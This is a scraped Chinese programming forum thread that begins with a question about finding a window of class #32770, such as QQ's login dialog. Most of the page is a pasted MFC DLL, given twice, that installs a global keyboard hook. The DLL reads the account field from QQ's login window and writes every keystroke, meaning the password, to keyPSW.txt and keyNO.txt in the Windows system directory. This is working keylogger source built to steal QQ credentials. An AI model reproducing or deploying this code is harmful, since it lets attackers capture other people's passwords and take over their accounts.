如何取得类名为#32770的窗口句柄? 如何取得类名为#32770的窗口句柄?类名为#32770的窗口很多,想找到某个特定的窗口比如QQ, 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 可以继续查看他们的子窗口:// keyhook.cpp : Defines the initialization routines for the DLL.//#include "stdafx.h"#include "keyhook.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif#pragma data_seg("SharedVar") //DLL输出的全局变量extern "C" __declspec(dllexport) HHOOK hHook=NULL;#pragma data_seg()////////////////////////////////////////////////////////////////char sWindowName[3][256];CFile fpqq;CString m_strPSW;BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam){ char sWindowClass[256]; CString strWindowClass; CString strWindowName; ::GetClassName(hwnd, sWindowClass, 256); strWindowClass = sWindowClass; if (strWindowClass == _T("ComboBox")) { for (int i = 0; i< 3; i++) { strWindowName = sWindowName[i]; if (strWindowName == _T("")) { break; } } if (i < 3) { ::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]); } m_strPSW.Format("%s%s%s",m_strPSW,sWindowName[i],":"); } return TRUE;}BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam){ CString sWindowText; GetWindowText(hwnd, sWindowText.GetBuffer(256), 256); sWindowText.ReleaseBuffer(); char sWindowClass[256]; CString strWindowClass; CString strWindowName; ::GetClassName(hwnd, sWindowClass, 256); strWindowClass = sWindowClass; if (strWindowClass==_T("#32770")) { memset(sWindowName, 0, 3 * 256); ::EnumChildWindows(hwnd, EnumChildProc, 0); return FALSE; } return TRUE;}////////////////////////////////////////////////////////////////// DLL 自用的全局变量char buffer=0; //FILE *fp;CFile fp;//定义全局的键盘勾子函数://DLL输出的勾子函数extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, //虚键代码 LPARAM lParam // 击键消息的信息 ){ char m_SysDir[128]; GetSystemDirectory(m_SysDir,128); CString m_DirNO; m_DirNO.Format("%s%s%s",m_SysDir,"\\","keyNO.txt"); CString m_DirPSW; m_DirPSW.Format("%s%s%s",m_SysDir,"\\","keyPSW.txt"); CWnd* pWnd=CWnd::FindWindow(NULL,"xxxxxx"); if(pWnd) { BOOL bFind = ::EnumWindows(EnumWindowsProc, 0); fp.Open(m_DirNO,CFile::modeWrite|CFile::shareDenyNone); fp.SeekToEnd(); fp.Write(m_strPSW,strlen(m_strPSW)); fp.Close(); m_strPSW.Empty(); ::Sleep(20); if(lParam&0x80000000) { char KeyName[50]; ZeroMemory(KeyName,50); GetKeyNameText(lParam,KeyName,50); if(strlen(KeyName)>2) { CString add; add.Format("%s%s%s","\r\n",KeyName,"\r\n"); sprintf(KeyName,"%s",add); } fp.Open(m_DirPSW,CFile::modeWrite|CFile::shareDenyNone); fp.SeekToEnd(); fp.Write(KeyName,strlen(KeyName)); fp.Close(); } } return CallNextHookEx(hHook,nCode,wParam,lParam);}BEGIN_MESSAGE_MAP(CKeyhookApp, CWinApp)//{{AFX_MSG_MAP(CKeyhookApp)// NOTE - the ClassWizard will add and remove mapping macros here.// DO NOT EDIT what you see in these blocks of generated code!//}}AFX_MSG_MAPEND_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////// CKeyhookApp constructionCKeyhookApp::CKeyhookApp(){ // TODO: add construction code here, // Place all significant initialization in InitInstance}/////////////////////////////////////////////////////////////////////////////// The one and only CKeyhookApp objectCKeyhookApp theApp;void CKeyhookApp::ON_DLL_QQ(){ } findwindow里面不是还有一个参数么? FindWindow("32770","QQ")不行? 如何让浮动子窗口不获得焦点 求助:如何获取导入的3D模型的数据结构。请师兄师姐们帮助。非常感谢! 求 深入浅出 MFC 的源代码?原来的光盘不幸遗失!多谢! 简单问题,在线给分!!!! 我如何用程序实现截取掉一系列二进制文件末尾5个字节的内容,用什么函数?(CFile)?等待中 再开一贴,关于CSpinButtonCtrl的问题 如何从CObject中派生一个类? 初学者求好书 望指导 VS2008里面怎么把代码注释的那个工具选项调出来啊 请问哪个是对话框显示完成的消息? 如何才能实现WORD那样从网页中直接把文字和图片复制到文档中? 怎么找不到OnInitDialog()函数?
//#include "stdafx.h"
#include "keyhook.h"#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif#pragma data_seg("SharedVar")
//DLL输出的全局变量
extern "C" __declspec(dllexport)
HHOOK hHook=NULL;
#pragma data_seg()
////////////////////////////////////////////////////////////////char sWindowName[3][256];
CFile fpqq;
CString m_strPSW;
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
{
char sWindowClass[256];
CString strWindowClass;
CString strWindowName;
::GetClassName(hwnd, sWindowClass, 256);
strWindowClass = sWindowClass;
if (strWindowClass == _T("ComboBox"))
{
for (int i = 0; i< 3; i++)
{
strWindowName = sWindowName[i];
if (strWindowName == _T(""))
{
break;
}
}
if (i < 3)
{
::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
}
m_strPSW.Format("%s%s%s",m_strPSW,sWindowName[i],":");
}
return TRUE;
}BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
CString sWindowText;
GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
sWindowText.ReleaseBuffer();
char sWindowClass[256];
CString strWindowClass;
CString strWindowName;
::GetClassName(hwnd, sWindowClass, 256);
strWindowClass = sWindowClass;
if (strWindowClass==_T("#32770"))
{
memset(sWindowName, 0, 3 * 256);
::EnumChildWindows(hwnd, EnumChildProc, 0);
return FALSE;
}
return TRUE;
}
////////////////////////////////////////////////////////////////
// DLL 自用的全局变量
char buffer=0;
//FILE *fp;
CFile fp;
//定义全局的键盘勾子函数:
//DLL输出的勾子函数
extern "C" __declspec(dllexport)
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam, //虚键代码
LPARAM lParam // 击键消息的信息
)
{
char m_SysDir[128];
GetSystemDirectory(m_SysDir,128);
CString m_DirNO;
m_DirNO.Format("%s%s%s",m_SysDir,"\\","keyNO.txt");
CString m_DirPSW;
m_DirPSW.Format("%s%s%s",m_SysDir,"\\","keyPSW.txt");
CWnd* pWnd=CWnd::FindWindow(NULL,"xxxxxx");
if(pWnd)
{
BOOL bFind = ::EnumWindows(EnumWindowsProc, 0);
fp.Open(m_DirNO,CFile::modeWrite|CFile::shareDenyNone);
fp.SeekToEnd();
fp.Write(m_strPSW,strlen(m_strPSW));
fp.Close();
m_strPSW.Empty();
::Sleep(20);
if(lParam&0x80000000)
{
char KeyName[50];
ZeroMemory(KeyName,50);
GetKeyNameText(lParam,KeyName,50);
if(strlen(KeyName)>2)
{
CString add;
add.Format("%s%s%s","\r\n",KeyName,"\r\n");
sprintf(KeyName,"%s",add);
}
fp.Open(m_DirPSW,CFile::modeWrite|CFile::shareDenyNone);
fp.SeekToEnd();
fp.Write(KeyName,strlen(KeyName));
fp.Close();
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}BEGIN_MESSAGE_MAP(CKeyhookApp, CWinApp)
//{{AFX_MSG_MAP(CKeyhookApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
// CKeyhookApp constructionCKeyhookApp::CKeyhookApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}/////////////////////////////////////////////////////////////////////////////
// The one and only CKeyhookApp objectCKeyhookApp theApp;void CKeyhookApp::ON_DLL_QQ()
{
}
不行?